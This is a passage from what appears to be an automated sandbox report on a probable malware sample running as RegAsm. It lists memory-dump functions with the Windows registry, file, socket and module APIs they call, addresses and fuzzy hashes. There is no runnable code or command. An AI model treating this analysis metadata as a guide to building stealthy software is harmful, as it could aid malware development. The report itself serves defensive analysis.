Opcode Fuzzy Hash: 4286f47cefb3036918b21fbacc4645e8198e625c36baaf1fc2abe0091b830bd1
Instruction Fuzzy Hash: 9131C671004385AFEB21CB21CC55FA6FBBCEF45310F18499AF9859F192D275A509CB71

Uniqueness

Uniqueness Score: -1.00%

Function 012D3193, Relevance: 1.6, APIs: 1, Instructions: 93windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(?,00000EB0,?,?), ref: 012D3256

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: 040b41d2ac1d706047757d59474ffbe51ebeb82d4cf760b130c4aa50d74bf8cd
Instruction ID: 27505f355c8f68c58eed3c9f952b2c92b69f9b359a77cfa612cd616766ee62a5
Opcode Fuzzy Hash: 040b41d2ac1d706047757d59474ffbe51ebeb82d4cf760b130c4aa50d74bf8cd
Instruction Fuzzy Hash: D3318D7140D3C45FD7038B258C61BA2BFB4EF47614F1E84CBD8848F2A3E225A919D7A2

Uniqueness

Uniqueness Score: -1.00%

Function 012D0E82, Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 012D0F2D

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 0e93c943edf15681428ac7613d57388ed451840e56bc10d68356c4c13dea2060
Instruction ID: 427739e120bfbf43e32595cb078141d2ffeceaa3eb43ddaddfd1ccb6b8c21960
Opcode Fuzzy Hash: 0e93c943edf15681428ac7613d57388ed451840e56bc10d68356c4c13dea2060
Instruction Fuzzy Hash: 4E316F7144E7C06FD7138B249C55B62BF78EF43610F1985DBE9858F1A3C2685909C772

Uniqueness

Uniqueness Score: -1.00%

Function 012D3095, Relevance: 1.6, APIs: 1, Instructions: 92networkCOMMON

Download Yara Rule

APIs

WSAIoctl.WS2_32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 012D3149

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: Ioctl
String ID:
API String ID: 3041054344-0
Opcode ID: d136fd68b3575c8cdcd3030af7b8ecf622cf18d6db7ad463ed2c06f5591b45e3
Instruction ID: 11c88d99834e94f4ff8bbbcd869607450fdb0e09518e93bccf7c47bbd27129d4
Opcode Fuzzy Hash: d136fd68b3575c8cdcd3030af7b8ecf622cf18d6db7ad463ed2c06f5591b45e3
Instruction Fuzzy Hash: B53160B5505781AFEB22CB25CC44F52FFB8EF46710F08859AE9858B162D235E909CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1E45A8D9, Relevance: 1.6, APIs: 1, Instructions: 90registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EB0), ref: 1E45A989

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 6f83ac82cf1de0dd2728655622e37b92a278f7ed189a7da914fe39af0638698f
Instruction ID: b088b9cf94b0ccdbbaefde0f77707cbbeaf19ee4bbd29420a26054caf1dc4ed9
Opcode Fuzzy Hash: 6f83ac82cf1de0dd2728655622e37b92a278f7ed189a7da914fe39af0638698f
Instruction Fuzzy Hash: DC31C5B2409784AFE7128F11DC54F57FFBCEF45210F09899BE985CB252D224A508C771

Uniqueness

Uniqueness Score: -1.00%

Function 012D0C48, Relevance: 1.6, APIs: 1, Instructions: 90fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?), ref: 012D0CE9

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 2615895f374a14628a244a30c56f3f22df84281e9facbb6d8cf887fada83e993
Instruction ID: 7ff955ca7535d920d90f8b101ec92e647324d93ab18adf9ed9c9418688b7aca7
Opcode Fuzzy Hash: 2615895f374a14628a244a30c56f3f22df84281e9facbb6d8cf887fada83e993
Instruction Fuzzy Hash: 0D319CB1504340AFE722CF25CC44F66FBE8EF45220F0885AEEA858B262D375E509CB71

Uniqueness

Uniqueness Score: -1.00%

Function 1E45A9D1, Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 1E45AA8C

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 579103f94b793bc769deab30dd8bfefdf3100f23c5716ee8001a1b9a7117780d
Instruction ID: 68102568b2771471bbab89f344c5d0869cc46c04329b38da0f89a15d542a941b
Opcode Fuzzy Hash: 579103f94b793bc769deab30dd8bfefdf3100f23c5716ee8001a1b9a7117780d
Instruction Fuzzy Hash: 2331B171509784AFE722CB21CC94F92BFE8EF46610F08859AE985CB252D264E909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 012D2448, Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(?,00000EB0), ref: 012D24DF

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: 67d3b285d51ad9b9a6c4c778a2a3b750330a3f421d1c08f7aff98b94762bd4cb
Instruction ID: 27c5e884b574bc5f917ae2cf53addf95797a32510f8f4aaec792e3c1f6fce4e0
Opcode Fuzzy Hash: 67d3b285d51ad9b9a6c4c778a2a3b750330a3f421d1c08f7aff98b94762bd4cb
Instruction Fuzzy Hash: A4319372504385AFEB218B25DC55F67BBACEF45220F08849AE985DB192D264A904C771

Uniqueness

Uniqueness Score: -1.00%

Function 012D234A, Relevance: 1.6, APIs: 1, Instructions: 87registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 012D23F4

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 2a965461b2d22953ed86eb827bfa882c1990d3bdff2208385c241fdabb54660a
Instruction ID: fad0464ce3c5fececb2f83b329fcff92065b2c5e7a85ba65f0c1431dd7589972
Opcode Fuzzy Hash: 2a965461b2d22953ed86eb827bfa882c1990d3bdff2208385c241fdabb54660a
Instruction Fuzzy Hash: 9D318F72509780AFEB22CB25DC40F92BFB8EF46310F0884DAE985DB1A3D264A549C771

Uniqueness

Uniqueness Score: -1.00%

Function 012D2995, Relevance: 1.6, APIs: 1, Instructions: 85synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(?,?), ref: 012D2A35

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 6c857c2196523958b676271190bfa2cb617165ffd62c46a161d8deb77d96c263
Instruction ID: 3bf4a05f0afb821f29353836c59fcd83c224972de20c212194a5a326d43ea0ac
Opcode Fuzzy Hash: 6c857c2196523958b676271190bfa2cb617165ffd62c46a161d8deb77d96c263
Instruction Fuzzy Hash: EE3182B1509381AFE722CB25CC55B56FFE8EF45220F08859AE984DF292D365A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1E45A120, Relevance: 1.6, APIs: 1, Instructions: 84fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNELBASE(?,00000EB0,?,?), ref: 1E45A1C2

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 492654ea2f3c96fa791e11442f5c4d56c717fe52f17355e8b905b757e82d260c
Instruction ID: fc38b3bddf02503f992021a0bb13d50941feefce0d86d606c190e77ddc6a5718
Opcode Fuzzy Hash: 492654ea2f3c96fa791e11442f5c4d56c717fe52f17355e8b905b757e82d260c
Instruction Fuzzy Hash: 5631A27140D3C06FD3128B258C55B62BFB4EF47620F1985CBD8C48F193D229A919D7A2

Uniqueness

Uniqueness Score: -1.00%

Function 012D1930, Relevance: 1.6, APIs: 1, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 012D19CC

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: b4380db601b2ab4b4ba9b6408ec3375eac5b32a1d0dd31b81c2fce7acdabb052
Instruction ID: 2b471b32cf17ff9080e349c119948425ec352a25c04fb7523145bdcda25288f6
Opcode Fuzzy Hash: b4380db601b2ab4b4ba9b6408ec3375eac5b32a1d0dd31b81c2fce7acdabb052
Instruction Fuzzy Hash: 39218F71509780AFD722CB15DC44F97BFF8EF46210F18849AE985DB192D264E908C772

Uniqueness

Uniqueness Score: -1.00%

Function 012D2E12, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,00000EB0), ref: 012D2EB7

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: getaddrinfo
String ID:
API String ID: 300660673-0
Opcode ID: 2fef7f225f1abacf9ec4c8ee1b7f2677baf4a2b1d10808b8f28448f77ee7ff4b
Instruction ID: 22b4ef0419db9716ba4c44a632c65a7dda052b775ca034b203c4e20c632582da
Opcode Fuzzy Hash: 2fef7f225f1abacf9ec4c8ee1b7f2677baf4a2b1d10808b8f28448f77ee7ff4b
Instruction Fuzzy Hash: 3521B0B1100205EFFB21DB50CC85FAAF7ECEF44720F14895AFE899A181D6B5A545CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 012D182E, Relevance: 1.6, APIs: 1, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EB0), ref: 012D18C2

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 1bac1bf62f500e2e21fa6be671aeda6f7e175e74372866ae3fac370435b813b4
Instruction ID: 607b96c28c5a6f9b574582b9915f46664d1658599214f1ff51512c31206a4b77
Opcode Fuzzy Hash: 1bac1bf62f500e2e21fa6be671aeda6f7e175e74372866ae3fac370435b813b4
Instruction Fuzzy Hash: 4421F1B2505380AFEB218B21DC45F6BFFBCEF45220F08889AED85CB192D275A508C771

Uniqueness

Uniqueness Score: -1.00%

Function 1E45B55D, Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 1E45B5EE

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 2854f8c81d0190b5993ec8d2acd81b66acaa096205ba9e1b42e3d1e412b1d82b
Instruction ID: 69414d62214e25dc4b10c467e155aac6f29f979696440044f0bb9a9c6ef06934
Opcode Fuzzy Hash: 2854f8c81d0190b5993ec8d2acd81b66acaa096205ba9e1b42e3d1e412b1d82b
Instruction Fuzzy Hash: 3E21A371509784AFE712CB11CC54F56FFBCEF41220F08859BE985DB252D264E909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 012D2A8C, Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

shutdown.WS2_32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 012D2B20

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: shutdown
String ID:
API String ID: 2510479042-0
Opcode ID: ab317065032287e6aa1d4ccf682c66adc78d79aea1e8c85e71cf54bca0134765
Instruction ID: c7d246272be90b1602472397aad4bf8681f2aa8307fedb0aff96c26c7159156c
Opcode Fuzzy Hash: ab317065032287e6aa1d4ccf682c66adc78d79aea1e8c85e71cf54bca0134765
Instruction Fuzzy Hash: C921F4B1405784AFEB128B14DC81FA6BFACEF42320F1985DAE984DF193D278A905C771

Uniqueness

Uniqueness Score: -1.00%

Function 1E45B654, Relevance: 1.6, APIs: 1, Instructions: 81COMMON

Download Yara Rule

APIs

K32GetModuleFileNameExW.KERNEL32(?,00000EB0,?,?), ref: 1E45B6FA

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: 469b66695e0a252de63a776ed2d13700003d5e74371bd76328033131154c2d90
Instruction ID: cef66f4442b0391e7d49783643be791db9b9735fc895d817934f6682f9f982b5
Opcode Fuzzy Hash: 469b66695e0a252de63a776ed2d13700003d5e74371bd76328033131154c2d90
Instruction Fuzzy Hash: D121BF714093C0AFD312CB65CC55B66BFB8EF87210F0984DBD8848F2A3D625A909D7B2

Uniqueness

Uniqueness Score: -1.00%

Function 1E45B474, Relevance: 1.6, APIs: 1, Instructions: 81COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 1E45B4FE

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 7439ab3df9060cb6d896470e9cc447f7e962f5e1f6d331b672bc1091d12d54a4
Instruction ID: f15af322a32cab772df7b7927de8f14fa082889fe937b58c8d5c0c86eeb009e5
Opcode Fuzzy Hash: 7439ab3df9060cb6d896470e9cc447f7e962f5e1f6d331b672bc1091d12d54a4
Instruction Fuzzy Hash: 5521B2711097846FD7128B21DC54F56BFB8EF46320F18859BE985DF252C265A908CB71

Uniqueness

Uniqueness Score: -1.00%

Function 012D26F0, Relevance: 1.6, APIs: 1, Instructions: 80fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32 ref: 012D2792

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 8f0afceb8ced18c8562140573e5207222a92e890c24a2d0e2bcafbbc6b2bbb1d
Instruction ID: 7db455fb127608109f3c36b2ae35a628c4700aa0712805c1280ae270fc1c7805
Opcode Fuzzy Hash: 8f0afceb8ced18c8562140573e5207222a92e890c24a2d0e2bcafbbc6b2bbb1d
Instruction Fuzzy Hash: C021D072005380AFE722CF15CC44F56FFF8EF09220F08859EE9858B292D375A508CB61

Uniqueness

Uniqueness Score: -1.00%

Function 012D2B70, Relevance: 1.6, APIs: 1, Instructions: 79timeCOMMON

Download Yara Rule

APIs

GetProcessTimes.KERNEL32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 012D2BF9

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: ProcessTimes
String ID:
API String ID: 1995159646-0
Opcode ID: 02cd46c6efbd208d71e22ce491424be34000fea53201cbcd941ee9ccf75f3632
Instruction ID: bc647107bff2f7309868aad52cb2b4fbf18ce2709bd21774171e901497af467f
Opcode Fuzzy Hash: 02cd46c6efbd208d71e22ce491424be34000fea53201cbcd941ee9ccf75f3632
Instruction Fuzzy Hash: D721C172109780AFDB228F51CC44FA7FFB8EF46310F08889AE985DB152D275A509CB65

Uniqueness

Uniqueness Score: -1.00%

Function 012D175C, Relevance: 1.6, APIs: 1, Instructions: 78registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.KERNEL32(?,00000EB0,?,?), ref: 012D1802

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: Enum
String ID:
API String ID: 2928410991-0
Opcode ID: 043e6c5b30363a25f4f10e61885822822d522602868f2b88652db314afc1b215
Instruction ID: 27368cf55e6e7caf899b69d9840037b3727495bf3660b59e6220ee9f847e2c76
Opcode Fuzzy Hash: 043e6c5b30363a25f4f10e61885822822d522602868f2b88652db314afc1b215
Instruction Fuzzy Hash: 4B217F7550E3C06FC3138B368C65A12BFB4EF87610F1D81DFD8848B6A3D225A919D7A2

Uniqueness

Uniqueness Score: -1.00%

Function 012D25FE, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNELBASE(?,?), ref: 012D2689

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: FileMappingOpen
String ID:
API String ID: 1680863896-0
Opcode ID: ca0c5527a1ee14822d3d19d1fee2e98c0ce0af01268867dd603f5b21ba2e7781
Instruction ID: 7522a98e1b4d7c398d36c259c74cadd06fec7427a3e20656dcd21cc1aedb3ac9
Opcode Fuzzy Hash: ca0c5527a1ee14822d3d19d1fee2e98c0ce0af01268867dd603f5b21ba2e7781
Instruction Fuzzy Hash: 232191B1509380AFE711CF15CC45F56FFA8EF45220F08849AE9848B292D375A508C761

Uniqueness

Uniqueness Score: -1.00%

Function 1E45B2C4, Relevance: 1.6, APIs: 1, Instructions: 76registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EB0,?,?), ref: 1E45B35E

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: db1806141b69e75c97dc7196708629f3e0f704bf61db7a698b0247746b254ef7
Instruction ID: e6e083b5f447ecf7e965d173cb124c2f2bfe63ddc7d3e3f43aa8834eee0f335d
Opcode Fuzzy Hash: db1806141b69e75c97dc7196708629f3e0f704bf61db7a698b0247746b254ef7
Instruction Fuzzy Hash: 9A21C5755093C06FD3138B25CC51B62BFB8EF87620F0981DBE8848B693D225A919D7B2

Uniqueness

Uniqueness Score: -1.00%

Function 012D246E, Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(?,00000EB0), ref: 012D24DF

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: 345a070cd39d252bb62a544af38fe40e5f4c32562207793a6de0e94c02a04489
Instruction ID: e382c1e40a691a5853d0adc042f20af6888cd5a50b57d352141ea96ddbc8057e
Opcode Fuzzy Hash: 345a070cd39d252bb62a544af38fe40e5f4c32562207793a6de0e94c02a04489
Instruction Fuzzy Hash: CF21A172600245AFEB20DF29DC45F6BFBECEF44620F18846AED45DB281D674E5448A71

Uniqueness

Uniqueness Score: -1.00%

Function 012D0C6A, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?), ref: 012D0CE9

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8b6510f12561acfb33d770265313e7e938586e00df0700ce7451f01967fda8d0
Instruction ID: b33ccecaa0f21cad38adb394b6f2527f438522a584c1b44d455bf74c74e88df1
Opcode Fuzzy Hash: 8b6510f12561acfb33d770265313e7e938586e00df0700ce7451f01967fda8d0
Instruction Fuzzy Hash: AB21AE71500341AFEB21CF25CC45F6AFBE8EF04220F18846AEA858B262E771E404CB65

Uniqueness

Uniqueness Score: -1.00%

Function 012D04F0, Relevance: 1.6, APIs: 1, Instructions: 76libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,00000EB0), ref: 012D058B

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ade0b8c2fbd4448cce0c1ef2db7d3bad93c4a3766ec3b707b28ef219bb9477f0
Instruction ID: 52c03317164ed837a57c1922f01a70d7db1fc59e78114fb660fe1362fa53b855
Opcode Fuzzy Hash: ade0b8c2fbd4448cce0c1ef2db7d3bad93c4a3766ec3b707b28ef219bb9477f0
Instruction Fuzzy Hash: 4521DA710053806FE7128B15DC45F66FFB8EF46724F1880DAFD859F192C265A949CB71

Uniqueness

Uniqueness Score: -1.00%

Function 012D2FC2, Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 012D304B

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: ioctlsocket
String ID:
API String ID: 3577187118-0
Opcode ID: 889e2c60a10a25b23935938ae31d9f872da06688bf9441bcc9230aa7b2c03660
Instruction ID: bdb9cf3d789606ede30101d39652418146aa887fed89fc545ab7f002b4f8a835
Opcode Fuzzy Hash: 889e2c60a10a25b23935938ae31d9f872da06688bf9441bcc9230aa7b2c03660
Instruction Fuzzy Hash: B221AFB14097C46FDB12CB21CC94F96BFB8EF46210F18859BE984DF192D275A508C762

Uniqueness

Uniqueness Score: -1.00%

Function 1E45A90A, Relevance: 1.6, APIs: 1, Instructions: 74registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EB0), ref: 1E45A989

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: c5108ab7f469222df44488d5f48e2dfee0538ac2b65793c760a1a123fb944c46
Instruction ID: b8f6ff851f15ad8e8f33c1a1fafd96a49f308bec7199d2bdee9b1970c190a9e3
Opcode Fuzzy Hash: c5108ab7f469222df44488d5f48e2dfee0538ac2b65793c760a1a123fb944c46
Instruction Fuzzy Hash: DA21DEB2500745EEE720DB11DC40FABFBECEF44620F088A1AE9858B241D670E508CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 012D335C, Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

GetAdaptersAddresses.IPHLPAPI(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 012D33F1

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: AdaptersAddresses
String ID:
API String ID: 2506852604-0
Opcode ID: 921085d6f63818eafb3b15da57c1d4ed9e8e0bbf6b07a3e4917776f874781749
Instruction ID: 532d0b43ea7d47383834ea981bb3aa218befddcd7d780c6c77f746dfeff71573
Opcode Fuzzy Hash: 921085d6f63818eafb3b15da57c1d4ed9e8e0bbf6b07a3e4917776f874781749
Instruction Fuzzy Hash: ED21F5B5409784AFDB228B11DC44F67FFB8EF46314F09C49AE9859B153C275A508CB72

Uniqueness

Uniqueness Score: -1.00%

Function 012D184E, Relevance: 1.6, APIs: 1, Instructions: 73registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EB0), ref: 012D18C2

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: f94b8af696cfdf45d2dccbe75866324667d2711444ef63d410f45692a56c3cff
Instruction ID: a7045586560b52c051be58d0fc8a9d9000475fba0c330d4c7eadffb0ae3c736f
Opcode Fuzzy Hash: f94b8af696cfdf45d2dccbe75866324667d2711444ef63d410f45692a56c3cff
Instruction Fuzzy Hash: 2B21DEB1500304AEEB20DF65DC46F6AFBACEF44720F18886AEE45CB642D275E4148AB1

Uniqueness

Uniqueness Score: -1.00%

Function 012D104A, Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 012D10C9

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: b4ef2d6c3cea0410d0d5aa1b1c6cce9f5615c9f10121adf4aa711ebf114d04a7
Instruction ID: fab91e17fbb725b30520e0a69b0923aeb55f22c266b9c4373f7827dbe7f1d99d
Opcode Fuzzy Hash: b4ef2d6c3cea0410d0d5aa1b1c6cce9f5615c9f10121adf4aa711ebf114d04a7
Instruction Fuzzy Hash: FB21D1B2405740AFEB228F51DC40FA7FFACEF85720F18859AE9859B152C275A508CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 012D328E, Relevance: 1.6, APIs: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAEventSelect.WS2_32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 012D3312

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: EventSelect
String ID:
API String ID: 31538577-0
